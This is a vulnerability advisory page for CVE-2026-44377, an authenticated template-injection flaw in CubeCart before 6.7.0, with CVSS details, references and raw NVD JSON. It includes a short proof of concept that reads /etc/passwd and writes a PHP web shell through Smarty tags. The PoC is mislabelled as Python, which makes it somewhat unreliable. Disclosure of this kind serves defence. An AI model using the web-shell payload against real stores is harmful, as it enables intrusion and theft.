CVE-2026-44377

Description

CubeCart is an ecommerce software solution. Prior to 6.7.0, an Authenticated Server-Side Template Injection (SSTI) vulnerability exists in multiple modules of CubeCart (including Email Templates and Documents). The application unsafely evaluates user-supplied input directly through the Smarty template engine. By leveraging this, an authenticated attacker with administrative privileges can bypass current restrictions and call native PHP functions within the templates, such as readgzfile() to read sensitive configuration files, or error_log() to write a malicious PHP web shell, ultimately achieving Information Disclosure and full Remote Code Execution (RCE). This vulnerability is fixed in 6.7.0.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

CubeCart < 6.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

{* Proof of Concept: CubeCart SSTI *}

{* Attempt to read sensitive file *}
{php}readgzfile('/etc/passwd');{/php}

{* Attempt to write a web shell *}
{php}error_log('<?php system($_GET["cmd"]); ?>', 3, './shell.php');{/php}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44377
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44377
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44377/
[4] VulDB https://vuldb.com/cve/CVE-2026-44377
[5] https://github.com/cubecart/v6/commit/76d783c8c4d87a8a90dbfef1344a2733e7c6434c
[6] https://github.com/cubecart/v6/security/advisories/GHSA-wpjx-g695-qc5j
[7] https://github.com/cubecart/v6/security/advisories/GHSA-wpjx-g695-qc5j

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44377", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:48.330", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CubeCart is an ecommerce software solution. Prior to 6.7.0, an Authenticated Server-Side Template Injection (SSTI) vulnerability exists in multiple modules of CubeCart (including Email Templates and Documents). The application unsafely evaluates user-supplied input directly through the Smarty template engine. By leveraging this, an authenticated attacker with administrative privileges can bypass current restrictions and call native PHP functions within the templates, such as readgzfile() to read sensitive configuration files, or error_log() to write a malicious PHP web shell, ultimately achieving Information Disclosure and full Remote Code Execution (RCE). This vulnerability is fixed in 6.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1336"}]}], "references": [{"url": "https://github.com/cubecart/v6/commit/76d783c8c4d87a8a90dbfef1344a2733e7c6434c", "source": "[email protected]"}, {"url": "https://github.com/cubecart/v6/security/advisories/GHSA-wpjx-g695-qc5j", "source": "[email protected]"}, {"url": "https://github.com/cubecart/v6/security/advisories/GHSA-wpjx-g695-qc5j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}